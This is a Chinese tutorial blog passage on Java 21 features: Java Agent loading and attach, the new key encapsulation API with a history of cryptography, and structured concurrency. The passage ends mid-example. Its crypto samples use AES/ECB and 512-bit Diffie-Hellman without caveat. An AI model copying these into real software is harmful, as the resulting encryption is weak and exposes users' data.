Java Agent 通常被直译为 Java 代理,它是一个 jar 包,这个 jar 包很特别,不能独立运行,而是要依附到我们的目标 JVM 进程中。它利用 JVM 提供的 Instrumentation API 来修改已加载到 JVM 中的字节码,从而实现很多高级功能,比如:

Java Agent 简单示例

为了对 Java Agent 的概念有一个更直观的认识,我们从一个简单的示例入手,从零开始实现一个 Java Agent。先创建如下目录结构:

├── pom.xml
└── src
    └── main
        ├── java
        │   └── com
        │       └── example
        │           └── AgentDemo.java
        └── resources
            └── META-INF
                └── MANIFEST.MF

包含三个主要文件:

  • pom.xml - Maven 项目的配置文件
  • AgentDemo.java - Java Agent 的入口类
  • MANIFEST.MF - 元数据文件,用于描述打包的 JAR 文件中的各种属性和信息

Java Agent 的入口类定义如下:

package com.example;

import java.lang.instrument.Instrumentation;

public class AgentDemo {

    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("premain");
    }
}

我们知道,常规 Java 程序的入口方法是 main 函数,而 Java Agent 的入口方法是 premain 函数。其中,String agentArgs 是传递给 Agent 的参数,比如当我们运行 java -javaagent:agent-demo.jar=some-args app.jar 命名时,参数 agentArgs 的值就是字符串 some-args;另一个参数 Instrumentation inst 是 JVM 提供的修改字节码的接口,我们可以通过这个接口定位到希望修改的类并做出修改。

Instrumentation API 是 Java Agent 的核心,它可以在加载 class 文件之前做拦截,对字节码做修改(addTransformer),也可以在运行时对已经加载的类的字节码做变更(retransformClassesredefineClasses);Instrumentation 的英文释义是插桩或植入,所以这个操作又被称为 字节码插桩,由于这个操作非常的底层,一般会配合一些字节码修改的库,比如 ASMJavassistByte Buddy 等。关于 Instrumentation API 是一个较为艰深复杂的话题,本文为简单起见,没有深入展开,感兴趣的同学可以自行查找相关资料。

有了 Java Agent 的入口类之后,我们还需要告诉 JVM 这个入口类的位置,可以在 MANIFEST.MF 元数据文件中通过 Premain-Class 参数来描述:

Premain-Class: com.example.AgentDemo

打包的时候,要注意将 MANIFEST.MF 文件一起打到 jar 包里,这可以通过打包插件 maven-assembly-plugin 来实现:

<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-assembly-plugin</artifactId>
    <version>3.6.0</version>
    <configuration>
        <descriptorRefs>
            <descriptorRef>jar-with-dependencies</descriptorRef>
        </descriptorRefs>
        <archive>
            <manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>
        </archive>
    </configuration>
    <executions>
        <execution>
            <phase>package</phase>
            <goals>
                <goal>single</goal>
            </goals>
        </execution>
    </executions>
</plugin>

最后,执行 mvn clean package 打包命令,生成 target/agent-demo-1.0-SNAPSHOT-jar-with-dependencies.jar 文件,我们就得到了一个最简单的 Java Agent 了。

Java Agent 的两种加载方式

Java Agent 最常见的使用方式是在运行 java 命令时通过 -javaagent 参数指定要加载的 Agent 文件:

$ java -javaagent:agent-demo-1.0-SNAPSHOT-jar-with-dependencies.jar Hello.java

这种方式被称为 静态加载(static loading)。在这种情况下,Java Agent 和应用程序一起启动,并在运行主程序的 main 方法之前先调用 Java Agent 的 premain 方法,下面是程序的运行结果:

premain
Hello

既然有静态加载,自然就有动态加载。动态加载(dynamic loading) 指的是将 Java Agent 动态地加载到已运行的 JVM 进程中,当我们不希望中断生产环境中已经运行的应用程序时,这个特性非常有用。

我们先正常启动一个 Java 应用程序:

$ java Hello.java
Hello

通过 jps 得到该程序的 PID,然后使用 Java 的 Attach API 附加(attach) 到该程序上:

String pidOfOtherJVM = "3378";
VirtualMachine vm = VirtualMachine.attach(pidOfOtherJVM);

附加成功后得到 VirtualMachine 实例,VirtualMachine 提供了一个 loadAgent() 方法用于动态加载 Java Agent:

File agentJar = new File("/com.docker.devenvironments.code/agent-demo-1.0-SNAPSHOT-jar-with-dependencies.jar");
vm.loadAgent(agentJar.getAbsolutePath());

// do other works

vm.detach();

查看应用程序的日志,可以发现如下报错:

Failed to find Agent-Class manifest attribute from /com.docker.devenvironments.code/agent-demo.jar

这是因为目前我们这个 Java Agent 还不支持动态加载,动态加载的入口并不是 premain 函数,而是 agentmain 函数,我们在 AgentDemo 类中新增代码如下:

...
    public static void agentmain(String agentArgs, Instrumentation inst) {
        System.out.println("agentmain");
    }
...

并在 MANIFEST.MF 文件中新增 Agent-Class 参数:

Agent-Class: com.example.AgentDemo

重新打包,并再次动态加载,可以在应用程序中看到日志如下:

WARNING: A Java agent has been loaded dynamically (/com.docker.devenvironments.code/agent-demo-1.0-SNAPSHOT-jar-with-dependencies.jar)
WARNING: If a serviceability tool is in use, please run with -XX:+EnableDynamicAgentLoading to hide this warning
WARNING: If a serviceability tool is not in use, please run with -Djdk.instrument.traceUsage for more information
WARNING: Dynamic loading of agents will be disallowed by default in a future release
agentmain

可以看到 agentmain 函数被成功执行,动态加载生效了。

禁用 Java Agent 的动态加载

在上面的应用程序日志中,我们可以看到几行 WARNING 提示,这其实就是 Java 21 引入的新内容了,当 JVM 检测到有 Java Agent 被动态加载,就会打印这几行警告信息,告知用户动态加载机制将在未来的版本中默认禁用。如果不想看到这样的日志,可以在启动应用程序时加上 -XX:+EnableDynamicAgentLoading 选项:

$ java -XX:+EnableDynamicAgentLoading Hello.java

那么 Java 21 为什么要禁用 Java Agent 的动态加载呢?这就要提到 Java 所追求的 Integrity by Default 原则了。Integrity 一般被翻译为 完整性,片面的理解就是要保证我们程序中的任何内容,包括数据或代码都是完整的、没有被篡改的。而 Instrumentation API 通过修改已加载到 JVM 中的字节码来改变现有应用程序,在不更改源代码的情况下改变应用程序的行为。当我们静态加载 Java Agent 时,这并不是什么大问题,因为这是用户明确且有意的使用;然而,动态加载则是间接的,它超出了用户的控制范围,可能对用户的应用程序造成严重破坏,很显然并不符合完整性原则。

因此,作为应用程序的所有者,必须有意识地、明确地决定允许和加载哪些 Java Agent:要么使用静态加载,要么通过 -XX:+EnableDynamicAgentLoading 选项允许动态加载。

密钥封装机制 API

密钥封装(Key Encapsulation) 是一种现代加密技术,它使用非对称或公钥加密来保护对称密钥。传统的做法是使用公钥加密随机生成的对称密钥,但这需要 填充(Paddings) 并且难以证明安全,密钥封装机制(Key Encapsulation Mechanism,KEM) 另辟蹊径,使用公钥的属性来推导相关的对称密钥,不需要填充。

KEM 的概念是由 Crammer 和 Shoup 在 Design and Analysis of Practical Public-Key Encryption Schemes Secure against Adaptive Chosen Ciphertext Attack 这篇论文中提出的,后来 Shoup 将其提议为 ISO 标准,并于 2006 年 5 月接受并发布为 ISO 18033-2

经过多年的发展,KEM 已经在多个密码学领域有所应用:

Java 平台中现有的加密 API 都无法以自然的方式表示 KEM,第三方安全提供商的实施者已经表达了对标准 KEM API 的需求。于是,Java 21 引入了一种新的 KEM API,使应用程序能够自然且方便地使用 KEM 算法。

对称加密

上面对 KEM 的描述中涉及大量现代密码学的概念,为了对 KEM 有一个更直观的认识,我们不妨快速浏览一遍密码学的发展历史。

我们经常会在各种讲述一二战的谍战片中看到破译电报的片段,当时使用的密码算法在现在看来是非常简单的,几乎所有的密码系统使用的都是 对称加密(Symmetric Cryptography) 算法,也就是说使用相同的密钥进行消息的加密与解密,因为这个特性,我们也称这个密钥为 共享密钥(Shared Secret Key)

symmetric-crypto.png

常见的对称加密算法有:DES3DESAESSalsa20 / ChaCha20BlowfishRC6Camelia 等。

其中绝大多数都是 块密码算法(Block Cipher) 或者叫 分组密码算法,这种算法一次只能加密固定大小的块(例如 128 位);少部分是 流密码算法(Stream Cipher),流密码算法将数据逐字节地加密为密文流。为了实现加密任意长度的数据,我们通常需要将分组密码算法转换为流密码算法,这被称为 分组密码的工作模式,常用的工作模式有:ECB(电子密码本)、CBC(密码块链接)、CTR(计数器)、CFB(密文反馈模式)、OFB(输出反馈模式)、GCM(伽罗瓦/计数器模式)) 等。

分组密码的工作模式其背后的主要思想是把明文分成多个长度固定的组,再在这些分组上重复应用分组密码算法,以实现安全地加密或解密任意长度的数据。某些分组模式(如 CBC)要求将输入拆分为分组,并使用填充算法(例如添加特殊填充字符)将最末尾的分组填充到块大小,也有些分组模式(如 CTR、CFB、OFB、CCM、EAX 和 GCM)根本不需要填充,因为它们在每个步骤中,都直接在明文部分和内部密码状态之间执行异或(XOR)运算。

因此我们在使用对称加密时,往往要指定 工作模式(Modes)填充模式(Paddings) 这两个参数,下面是使用 Java 标准库提供的接口实现 AES 加密和解密的示例:

private static void testAES() throws Exception {

    // 1. 生成对称密钥
    KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
    keyGenerator.init(new SecureRandom());
    Key secretKey =  keyGenerator.generateKey();

    // 1. 使用固定密钥:128 位密钥 = 16 字节
    // SecretKey secretKey = new SecretKeySpec("1234567890abcdef".getBytes(), "AES");

    // 2. 加密
    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
    cipher.init(Cipher.ENCRYPT_MODE, secretKey);
    byte[] encrypted = cipher.doFinal("hello".getBytes());

    // 3. 解密
    cipher.init(Cipher.DECRYPT_MODE, secretKey);
    byte[] decrypted = cipher.doFinal(encrypted);
    System.out.println(new String(decrypted));
}

我们首先通过 KeyGenerator 生成一个对称密钥(也可以直接使用 SecretKeySpec 来定义一个固定的密钥,但是要注意密钥的长度),然后通过 算法名称/工作模式/填充模式 来获取一个 Cipher 实例,这里使用的是 AES 算法,ECB 分组模式以及 PKCS5Padding 填充模式,关于其他算法和模式可参考 Java Security Standard Algorithm Names。得到 Cipher 实例后,就可以对数据进行加密和解密,可以看到,这里加密和解密使用的是同一个密钥。

对称加密算法的问题有两点:

  • 需要安全的通道进行密钥交换,早期最常见的是面对面交换密钥,一旦密钥泄露,数据将完全暴露;
  • 每个点对点通信都需要使用不同的密钥,密钥的管理会变得很困难,如果你需要跟 100 个朋友安全通信,你就要维护 100 个不同的对称密钥;

综上,对称加密会导致巨大的 密钥交换密钥保存与管理 的成本。

密钥交换协议

为了解决对称加密存在的两大问题,密码学家们前仆后继,想出了各种各样的算法,其中最关键的一个是 Whitfield Diffie 和 Martin Hellman 在 1976 年公开发表的一种算法,也就是现在广为人知的 Diffie–Hellman 密钥交换(Diffie–Hellman Key Exchange,DHKE) 算法。

dhke.png

上图是经典 DHKE 协议的整个过程,其基本原理涉及到数学中的 模幂(Modular Exponentiations)离散对数(Discrete Logarithms) 的知识。

模幂是指求 ga 次幂模 p 的值,其中 g a p 均为整数,公式如下:

A = (g^a) mod p

而离散对数是指在已知 g p 和模幂值 A 的情况下,求幂指数 a 的逆过程。

我们通过将 p 设置为一个非常大的质数,使用计算机计算上述模幂的值是非常快的,但是求离散对数却非常困难,这也就是所谓的 离散对数难题(Discrete Logarithm Problem,DLP)

在 DHKE 协议中,Alice 和 Bob 首先约定好两个常数 gp,这两个数所有人都可见。然后他们分别生成各自的私钥 ab,这两个值各自保存,不对外公开。他们再分别使用各自的私钥计算出模幂 AB,这两个值就是他们的公钥:

A = (g^a) mod p
B = (g^b) mod p

接着,Alice 将 A 发送给 Bob,Bob 将 B 发送给 Alice,接受到彼此的公钥之后,他们使用自己的私钥来计算模幂:

S1 = (B^a) mod p
S2 = (A^b) mod p

根据模幂的数学性质,我们可以得知 S1S2 是相等的!

S1 = (B^a) mod p = (g^b)^a mod p = ( g^(b*a) ) mod p
S2 = (A^b) mod p = (g^a)^b mod p = ( g^(a*b) ) mod p

至此 Alice 和 Bob 就协商出了一个共享密钥,这个密钥可以在后续的通讯中作为对称密钥来加密通讯内容。可以看到,尽管整个密钥交换过程是公开的,但是任何窃听者都无法根据公开信息推算出密钥,这就是密钥交换协议的巧妙之处。

下面的代码演示了如何在 Java 中实现标准的 DHKE 协议:

private static void testKeyAgreement() throws Exception {

    // 1. Alice 和 Bob 分别生成各自的密钥对
    KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("DH");
    keyPairGen.initialize(512);
    KeyPair keyPairAlice = keyPairGen.generateKeyPair();
    KeyPair keyPairBob = keyPairGen.generateKeyPair();

    // 2. Alice 根据 Bob 的公钥协商出对称密钥
    KeyAgreement keyAgreement = KeyAgreement.getInstance("DH");
    keyAgreement.init(keyPairAlice.getPrivate());
    keyAgreement.doPhase(keyPairBob.getPublic(), true);
    byte[] secretKey1 = keyAgreement.generateSecret();

    // 3. Bob 根据 Alice 的公钥协商出对称密钥
    keyAgreement.init(keyPairBob.getPrivate());
    keyAgreement.doPhase(keyPairAlice.getPublic(), true);
    byte[] secretKey2 = keyAgreement.generateSecret();

    // 4. 比较双方的密钥是否一致
    System.out.println("Alice Secret key: " + HexFormat.of().formatHex(secretKey1));
    System.out.println("Bob Secret key: " + HexFormat.of().formatHex(secretKey2));
}

这里首先通过 KeyPairGenerator 为 Alice 和 Bob 分别生成密钥对(密钥对中包含了一个私钥和一个公钥,也就是上文中的 a/bA/B),然后使用 KeyAgreement.getInstance("DH") 获取一个 KeyAgreement 实例,用于密钥协商,Alice 根据 Bob 的公钥协商出对称密钥 S1,Bob 根据 Alice 的公钥协商出对称密钥 S2,根据输出结果可以看到 S1S2 是相等的。

非对称加密

从第一次世界大战、第二次世界大战到 1976 年这段时期密码的发展阶段,被称为 近代密码阶段。1976 年是密码学的一个分水岭,在 Whitfield Diffie 和 Martin Hellman 这篇论文 中,他们不仅提出了 DHKE 算法,还提出了 公钥密码学(Public- Key Cryptography) 的概念。

公钥密码学中最核心的部分是 非对称加密(Asymmetric Encryption) 算法,和 DHKE 算法类似,它也是基于两个不同的密钥来实现加密和解密,一个称为公钥,另一个称为私钥,其中公钥可以公开,任何人都能访问;但和 DHKE 不同的是,DHKE 中的公钥只是用于协商出一个对称密钥,用于后续通讯的加解密,而在非对称加密中,不需要密钥协商,消息的发送者可以直接使用接受者的公钥对数据进行加密,而加密后的数据只有私钥的持有者才能将其解密。

asymmetric-encryption.png

非对称加密算法的这种神奇特性,使得通讯双发不需要预先协商密钥,因此非常适合在多方通信中使用;也使得公钥密码学的概念很快就深入人心,它极大地推动了现代密码学的发展,为 数字签名数字证书 提供了理论基础,特别是 公钥基础设施(PKI) 体系的建立,实现安全的身份验证和数据保护。

可以说,非对称加密是密码学领域一项划时代的发明,它宣告了近代密码阶段的终结,是现代密码学的起点。


最著名的非对称加密算法非 RSA 莫属,它是 1977 年由三位美国数学家 Ron Rivest、Adi Shamir 和 Leonard Adleman 共同设计的,这种算法以他们名字的首字母命名。RSA 算法涉及不少数论中的基础概念和定理,比如 互质欧拉函数模反元素中国余数定理费马小定理 等,网上有大量的文章介绍 RSA 算法原理,感兴趣的同学可以查阅相关的资料。

不过对于初学者来说,这些原理可能显得晦涩难懂,不妨玩一玩下面这个数学小魔术:

首先,让 A 任意想一个 3 位数,并把这个数乘以 91,然后将积的末三位告诉 B,B 就可以猜出 A 想的是什么数字。比如 A 想的是 123,那么他就计算出 123 * 91 = 11193,并把结果的末三位 193 告诉 B。那么 B 要怎么猜出对方的数字呢?其实很简单,只需要把对方说的数字再乘以 11,乘积的末三位就是 A 刚开始想的数了。可以验证一下,193 * 11 = 2123,末三位正是对方所想的秘密数字!

这个小魔术的道理其实很简单,由于 91 * 11 = 1001,而任何一个三位数乘以 1001 后,末三位显然都不变,例如 123 * 1001 = 123123

这个例子直观地展示了非对称加密算法的工作流程:A 和 B 可以看做消息的发送方和接受方,其中 91 是 B 的公钥,123 是 A 要发送的消息,123 * 91 就好比使用公钥加密,193 就是加密后的密文;而 11B 的私钥,193 * 11 就是使用私钥解密。

RSA 算法的本质就是上面这套思想,只不过它不是简单的乘法计算,而是换成了更加复杂的指数和取模运算。

下面继续使用 Java 代码来实现 RSA 的加密和解密:

private static void testRSA() throws Exception {

    // 1. Bob 生成密钥对
    KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("RSA");
    keyPairGen.initialize(2048);
    KeyPair keyPairBob = keyPairGen.generateKeyPair();

    // 2. Alice 使用 Bob 的公钥加密数据
    Cipher cipher1 = Cipher.getInstance("RSA");
    cipher1.init(Cipher.ENCRYPT_MODE, keyPairBob.getPublic());
    byte[] encrypted = cipher1.doFinal("hello".getBytes());

    // 3. Bob 使用自己的私钥解密数据
    Cipher cipher2 = Cipher.getInstance("RSA");
    cipher2.init(Cipher.DECRYPT_MODE, keyPairBob.getPrivate());
    byte[] decrypted = cipher2.doFinal(encrypted);

    System.out.println(new String(decrypted));
}

这里的代码和对称加密如出一辙,都是先通过 Cipher.getInstance() 获取一个 Cipher 实例,然后再通过它对数据进行加密和解密;和对称加密不同的是,这里加密用的是 Bob 的公钥,而解密用的是 Bob 的私钥。

其实,根据非对称加密的性质,我们不仅可以 公钥加密,私钥解密,而且也可以 私钥加密,公钥解密,不过用私钥加密的信息所有人都能够用公钥解密,这看起来貌似没啥用,但是密码学家们却发现它大有用处,由于私钥加密的信息只能用公钥解密,也就意味着这个消息只能是私钥持有者发出的,其他人是不能伪造或篡改的,所以我们可以把它用作 数字签名,数字签名在数字证书等应用中。

除了 RSA 算法,还有一些其他重要的非对称加密算法,比如 Rabin 密码ElGamal 密码 以及基于椭圆曲线的 ECC 密码(Elliptic Curve Cryptography) 等。

后量子密码学

非对称加密算法的安全性,基本上都是由不同的数学难题保障的,比如:

这些数学难题暂时都没有好方法解决,所以这些非对称加密算法暂时仍然被认为是安全的;一旦这些数学难题被破解,那么这些加密算法就不再安全了。

近年来,随着 量子计算机 的不断发展,很多运行于量子计算机的量子算法被提出来,其中最著名的是数学家彼得·秀尔于 1994 年提出的 秀尔算法,可以在多项式时间内解决整数分解问题。

这也就意味着,如果攻击者拥有大型量子计算机,那么他可以使用秀尔算法解决整数分解问题,从而破解 RSA 算法。不仅如此,后来人们还发现,使用秀尔算法也可以破解离散对数和椭圆曲线等问题,这导致目前流行的公钥密码系统都是 量子不安全(quantum-unsafe) 的。如果人类进入量子时代,这些密码算法都将被淘汰。

密码学家们估算认为,破解 2048 位的 RSA 需要 4098 个量子比特与 5.2 万亿个托佛利门,目前还不存在建造如此大型量子计算机的科学技术,因此现有的公钥密码系统至少在未来十年(或更久)依然是安全的。尽管如此,密码学家已经积极展开了后量子时代的密码学研究,也就是 后量子密码学(Post-quantum Cryptography,PQC)

目前已经有一些量子安全的公钥密码系统问世,但是由于它们需要更长的密钥、更长的签名等原因,并没有被广泛使用。这些量子安全的公钥密码算法包括:NewHopeNTRUBLISSKyber 等,有兴趣的同学可以自行查阅相关文档。

混合密码系统

非对称加密好处多多,既可以用来加密和解密,也可以用来签名和验证,而且还大大降低了密钥管理的成本。不过非对称加密也有不少缺点:

  • 使用密钥对进行加解密,算法要比对称加密更复杂;而且一些非对称密码系统(如 ECC)不直接提供加密能力,需要结合使用更复杂的方案才能实现加解密;
  • 只能加解密很短的消息;
  • 加解密非常缓慢,比如 RSA 加密比 AES 慢 1000 倍;

为了解决这些问题,现代密码学提出了 混合密码系统(Hybrid Cryptosystem)混合公钥加密(Hybrid Public Key Encryption,HPKE) 的概念,将对称加密和非对称加密的优势相结合,好比同时装备电动机和发动机两种动力系统的混合动力汽车。发送者首先生成一个对称密码,使用这个对称密码来加密消息,然后使用接受者的公钥来加密对称密码;接受者首先使用自己的私钥解密出对称密码,然后再用对称密码解密消息。这里的对称密码也被称为 会话密钥(Session Key)

下面的代码演示了 Alice 是如何利用 Bob 的公钥将一个 AES 对称密钥发送给 Bob 的:

private static void testRSA_AES() throws Exception {

    // 1. Bob 生成密钥对
    KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("RSA");
    keyPairGen.initialize(2048);
    KeyPair keyPair = keyPairGen.generateKeyPair();

    // 2. Alice 生成一个对称密钥
    KeyGenerator keyGen = KeyGenerator.getInstance("AES");
    keyGen.init(256);
    SecretKey secretKey = keyGen.generateKey();

    // 3. Alice 使用 Bob 的公钥加密对称密钥
    Cipher cipher1 = Cipher.getInstance("RSA");
    cipher1.init(Cipher.ENCRYPT_MODE, keyPair.getPublic());
    byte[] secretKeyEncrypted = cipher1.doFinal(secretKey.getEncoded());

    // 4. Bob 使用自己的私钥解密出对称密钥
    Cipher cipher2 = Cipher.getInstance("RSA");
    cipher2.init(Cipher.DECRYPT_MODE, keyPair.getPrivate());
    byte[] secretKeyDecrypted = cipher2.doFinal(secretKeyEncrypted);

    // 5. 比较双方的密钥是否一致
    System.out.println("Alice Secret key: " + HexFormat.of().formatHex(secretKey.getEncoded()));
    System.out.println("Bob Secret key: " + HexFormat.of().formatHex(secretKeyDecrypted));
}

可以看出,在混合密码系统中,非对称加密算法的作用和上文中的 DHKE 一样,只是用于密钥交换,并不用于加密消息,这和 DHKE 的工作原理几乎是一样的,所以严格来说,DHKE 也算是一种混合密码系统,只是两种密钥交换的实现不一样罢了。如何将会话密钥加密并发送给对方,就是 密钥封装机制(Key Encapsulation Mechanisms,KEM) 要解决的问题。

密钥封装机制

综上所述,密钥封装机制就是一种基于非对称加密的密钥交换技术,其主要目的是在不直接暴露私钥的情况下安全地传输会话密钥。

在 KEM 中,发起方运行一个封装算法产生一个会话密钥以及与之对应的 密钥封装消息(key encapsulation message),这个消息在 ISO 18033-2 中被称为 密文(ciphertext),随后发起方将密钥封装消息发送给接收方,接收方收到后,使用自己的私钥进行解封,从而获得相同的会话密钥。一个 KEM 由三部分组成:

  • 密钥对生成函数:由接收方调用,用于生成密钥对,包含公钥和私钥;
  • 密钥封装函数:由发送方调用,根据接收方的公钥产生一个会话密钥和密钥封装消息,然后发送方将密钥封装消息发送给接收方;
  • 密钥解封函数:由接收方调用,根据自己的私钥和接受到的密钥封装消息,计算出会话密钥。

其中第一步可以由现有的 KeyPairGenerator API 完成,但是后两步 Java 中暂时没有合适的 API 来自然的表示,这就是 JEP 452 被提出的初衷。通过 密钥封装机制 API(KEM API) 可以方便的实现密钥封装和解封:

private static void testKEM() throws Exception {

    // 1. Bob 生成密钥对
    KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("X25519");
    KeyPair keyPair = keyPairGen.generateKeyPair();

    // 2. Alice 根据 Bob 的公钥生成一个 Encapsulated 对象,这个对象里包含了:
    //    * 共享密钥 shared secret
    //    * 密钥封装消息 key encapsulation message
    //    * 可选参数 optional parameters
    //    然后 Alice 将密钥封装消息发送给 Bob
    KEM kem1 = KEM.getInstance("DHKEM");
    Encapsulator sender = kem1.newEncapsulator(keyPair.getPublic());
    Encapsulated encapsulated = sender.encapsulate();
    SecretKey k1 = encapsulated.key();

    // 3. Bob 根据自己的私钥和 Alice 发过来的密钥封装消息,计算出共享密钥
    KEM kem2 = KEM.getInstance("DHKEM");
    Decapsulator receiver = kem2.newDecapsulator(keyPair.getPrivate());
    SecretKey k2 = receiver.decapsulate(encapsulated.encapsulation());

    // 4. 比较双方的密钥是否一致
    System.out.println(Base64.getEncoder().encodeToString(k1.getEncoded()));
    System.out.println(Base64.getEncoder().encodeToString(k2.getEncoded()));
}

从代码可以看出密钥封装机制和混合密码系统有点像,但是看起来要更简单一点,省去了使用 KeyGenerator.generateKey() 生成对称密钥的步骤,而是使用密钥封装算法直接给出,至于这个密钥封装算法可以抽象成任意的实现,可以是密钥生成算法,也可以是随机数算法。

Java 文档 中可以看到 KEM 算法暂时只支持 DHKEM 这一种。但是 KEM API 提供了 服务提供商接口(Service Provider Interface,SPI),允许安全提供商在 Java 代码或本地代码中实现自己的 KEM 算法,比如 RSA-KEM、ECIES-KEM、PSEC-KEM、PQC-KEM 等。

结构化并发(预览版本)

结构化并发(Structured Concurrency) 最初由 JEP 428 提出,并在 JDK 19 中作为孵化 API 发布,接着又在 JDK 20 中通过 JEP 437 再次孵化,现在该特性进入预览版本了。结构化并发是一种多线程编程方法,它将在不同线程中运行的相关任务组视为单个工作单元,从而简化错误处理和取消操作,提高程序的可靠性和可观察性。

结构化并发和虚拟线程、作用域值一样,都是由 Loom 项目发展而来。

那么到底什么是结构化并发呢?我们不妨从结构化编程的概念开始聊起。

结构化编程(Structured Programming)

计算机发展的早期,程序员必须使用很低级的编程语言去写程序,比如汇编语言,通过一条条的硬件指令去操作计算机,这种编程方式非常痛苦;于是一些计算机界大佬便开始着手重新设计编程语言,使用类似英语的语句来表达操作,这就诞生了一批比汇编语言稍微高级一点的编程语言,如 FORTRAN、FLOW-MATIC、COBOL 等。

这些语言和现在我们所使用的 Java 或者 C 等高级语言还是有一些差距的,没有函数代码块,没有条件或循环控制语句,这些现在看来稀松平常的特性当时还没有被发明出来。设想一下如果程序只能从上往下顺序执行,那么我们就不能复用之前已经编写过的逻辑,想要重新执行一遍之前的逻辑,就得把前面的代码重写一遍,很显然这是非常麻烦的,所以一些设计者在语言中加入了 GOTO 语句,可以让程序在执行时跳转到指定位置,从而实现代码复用。

GOTO 语句的发明使得编程语言变得更加强大,但是这种跳转执行的逻辑使得程序充满了不确定性,一旦程序中大量使用了 GOTO 语句,整个代码就会变得一团糟:

spaghetti.jpg

这种代码如同面条一般,所以被形象地戏称为 面条式代码(Spaghetti Code)

1968 年 3 月,荷兰计算机科学家 Edsger W. Dijkstra 发表了一篇文章 Goto Statement Considered Harmful,提出了著名的 GOTO 有害论;后来,他又编写了一部札记 Notes on Structured Programming,通过大量的篇幅详细阐述了他理想中的编程范式,首次提出了 结构化编程(Structured Programming) 的概念。

structured-programming.jpg

结构化编程的核心思想是 基于块语句,实现代码逻辑的抽象与封装,从而保证控制流拥有单一的入口与出口,现代编程语言中的条件语句、循环语句、方法调用都是结构化编程的体现,我们基于现代编程语言所编写的程序,基本上都是结构化的。

相比 GOTO 语句,结构化编程使代码逻辑变得更加清晰,思维模型变得更加简单;如今,大部分现代编程语言都已经禁用 GOTO 语句,尽管 breakcontinue 语句仍然可以实现跳转逻辑,但是他们还是遵循结构化的基本原则:控制流拥有单一的入口与出口。

少部分编程语言仍然支持 GOTO,但是它们大都遵循高德纳所提出的前进分支和后退分支不得交叉的原则。

结构化并发(Structured Concurrency)

了解了结构化编程的历史后,我们再来看看什么是结构化并发。假设我们有两个独立的任务 task1task2 需要执行,由于它们之间互不影响,我们可以使用 ExecutorService 来并发执行:

private static void testExecutorService() throws Exception {
    System.out.println("main thread start");
    ExecutorService executor = Executors.newCachedThreadPool();
    Future<Integer> f1 = executor.submit(() -> task1(0));
    Future<Integer> f2 = executor.submit(() -> task2(0));
    System.out.println(f1.get());
    System.out.println(f2.get());
    System.out.println("main thread end");
    executor.shutdown();
}

通过 submit 提交任务,并通过 get 等待任务执行结束,代码非常简单,整个流程也非常顺利。然而,真实情况却未必如此,由于子任务并发执行,每个子任务都可能成功或失败,当某个子任务失败时,我们要考虑的事情可能会变得出乎意料地复杂:

  • 如果 task1 运行失败,那么在调用 f1.get() 时会抛出异常,但 task2 将继续在其自己的线程中运行,这是一种线程泄漏,不仅浪费资源,而且可能会干扰其他任务;
  • 如果 task2 运行失败,由于先执行 f1.get(),会阻塞等待 task1 运行结束才会执行 f2.get() 抛出异常,task1 可能会执行很久,这是一种不必要的等待;
  • 如果主线程被中断,该中断不会传播到子任务中,task1task2 线程都会泄漏;
  • 另一种场景中,如果我们只需要 task1task2 中的任意一个结果,这又该如何实现?

其实以上这些场景都可以实现,但需要极其复杂、难以维护的代码,比如 这里 使用 CompletableFuture 演示了三个子任务之间互相取消的场景,其代码的复杂程度应该会吓坏不少人。

此外,这类代码也不好调试,通过线程转储,我们会得到一堆名为 “pool-X-thread-Y” 的线程,我们无法知道哪个子线程属于哪个主线程,每个子线程的运行就像非结构化编程中的 GOTO 一样,不知道会跳转到哪里。这种情况被称为 非结构化并发(Unstructured Concurrency)。我们的任务在一张错综复杂的线程网中运行,其开始与结束在代码中难以察觉,缺乏清晰的错误处理机制,当主线程结束时,常常会出现孤立线程的情况。

结构化并发(Structured Concurrency) 正是为解决这些问题而提出的,它的核心思想和结构化编程一样:在并发模型下,也要保证控制流拥有单一的入口与出口。程序可以产生多个子线程来实现并发,但是所有子线程最终都要在统一的出口处完成合并:

structured-concurrency-vs-unstructured-concurrency.png

使用结构化并发有着诸多好处:

  • 在出口处,所有子线程都应该处于完成或取消状态,所以子线程的开始和结束变得清晰可见,这使得代码更易于阅读和维护;
  • 子线程发生的错误能传播到父线程中,父线程的取消也能传播到子线程中,从而简化了线程之间的错误处理和状态控制;
  • 另外,线程转储还可以保持父线程与子线程之间的调用层次结构,增强了可观察性,有助于程序调试。

使用 StructuredTaskScope 实现结构化并发

在 Java 中,实现结构化并发的基本 API 是 StructuredTaskScope,它的基本用法如下:

private static void testStructuredTaskScope() throws Exception {
    System.out.println("main thread start");
    try (var scope = new StructuredTaskScope<Object>()) {
        Subtask<Integer> t1 = scope.fork(() -> task1(0));
        Subtask<Integer> t2 = scope.fork(() -> task2(0));
        scope.join();
        System.out.println(t1.get());
        System.out.println(t2.get());
    }
    System.out.println("main thread end");
}

这里实现了和之前代码同样的逻辑,只是写法上略有区分,我们将 ExecutorService 替换为 StructuredTaskScope,并将 executor.submit() 替换为 scope.fork(),然后使用 scope.join() 等待所有任务完成。之后,我们可以通过 Subtask.get() 读取子任务的结果,如果某个子任务发生异常,Subtask.get() 会抛出 IllegalStateException 异常。因此,在调用 get() 之前,最好先用 state() 查询子任务的状态:

if (t1.state() == Subtask.State.SUCCESS) {
    System.out.println(t1.get());
} else {
    System.out.println("task1 error: " + t1.exception().getMessage());
}

StructuredTaskScope 的关闭策略

scope.join() 可以保证所有子线程全部处于完成或取消状态,这样可以消除孤儿线程的风险。但是在有些场景下,如果某个子线程异常,等待其他子任务的结果就没有了意义,这时我们可以取消其他子任务,避免无谓的等待;还有些情况是,只要有一个子任务运行成功即可,无需等待所有任务都运行结束。这就引出了 StructuredTaskScope关闭策略(Shutdown policies)StructuredTaskScope 定义了两种关闭策略,分别处理这两种情况:

ShutdownOnFailure 策略

使用 ShutdownOnFailure 策略,当某个子任务中发生异常时,将导致所有其他子任务终止。它的使用方法如下所示:

private static void testStructuredTaskScopeShutdownOnFailure() throws Exception {
    System.out.println("main thread start");
    try (var scope = new StructuredTaskScope.ShutdownOnFailure()) {
